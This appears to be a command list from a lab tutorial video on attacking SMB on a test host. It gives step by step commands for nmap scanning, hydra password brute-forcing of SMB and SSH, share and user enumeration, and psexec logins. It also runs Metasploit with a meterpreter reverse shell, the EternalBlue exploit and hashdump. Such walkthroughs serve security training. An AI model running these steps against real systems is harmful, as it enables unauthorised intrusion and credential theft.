Project 131 - Multifaceted Approaches To Compromising SMB (Manual vs Automated)

Commands Used (in the order that they appear in the video):

1. nmap -sV -sC -p 445 10.0.31.252

2. hydra -l administrator -P /usr/share/wordlists/metasploit/unix_users.txt 10.0.31.252 smb (to brute force SMB user account for a password using the users wordlists instead of the passwords list)

3. hydra -l vagrant -P /usr/share/wordlists/metasploit/unix_users.txt 10.0.31.252 ssh (to brute force SSH user account for a password using the users wordlists instead of the passwords list)

Enumeration

4. smbclient -L 10.0.31.252 -U vagrant (to view SMB shares on the target host)

5. smbmap -u vagrant -p vagrant -H 10.0.31.252 (alternative/more stable way to view SMB shares)

6. enum4linux -u vagrant -p vagrant -U 10.0.31.252 (to authenticate and enumerate other accounts on the target host)

Enumeration with Metasploit

7. service postgresql start && msfconsole

8. workspace -a SMB

9. setg RHOSTS 10.0.31.252

10. search smb_enumusers

11. use auxiliary/scanner/smb/smb_enumusers

12. show options

13. set SMBUser vagrant

14. set SMBPass vagrant

15. run

16. open a new terminal

Using PSExec Python File To Authenticate

17. locate psexec.py (to search for psexec python script)

18. cd Desktop/

19. cp /usr/share/doc/python3-impacket/examples/psexec.py . (to copy python script to my local directory)

20. chmod +x psexec.py (to add execution permissions to the python script)

21. python3 psexec.py Administrator@10.0.31.252 (to authenticate into target host)

22. vagrant

23. whoami

Authenticating w/ Metasploit module

24. search psexec

25. use exploit/windows/smb/psexec (to use MS Windows Authenticated User Code Execution)

26. set payload windows/x64/meterpreter/reverse_tcp

27. show options

28. set SMBUser Administrator

29. set SMBPass vagrant

30. exploit

31. sysinfo

32. getuid

33. getprivs

34. exit

Gaining Access To Host w/o Credentials

35. search eternal

36. use exploit/windows/smb/ms17_010_eternalblue (to choose exploitation module)

37. show options

38. exploit

39. sysinfo

40. getuid

41. hashdump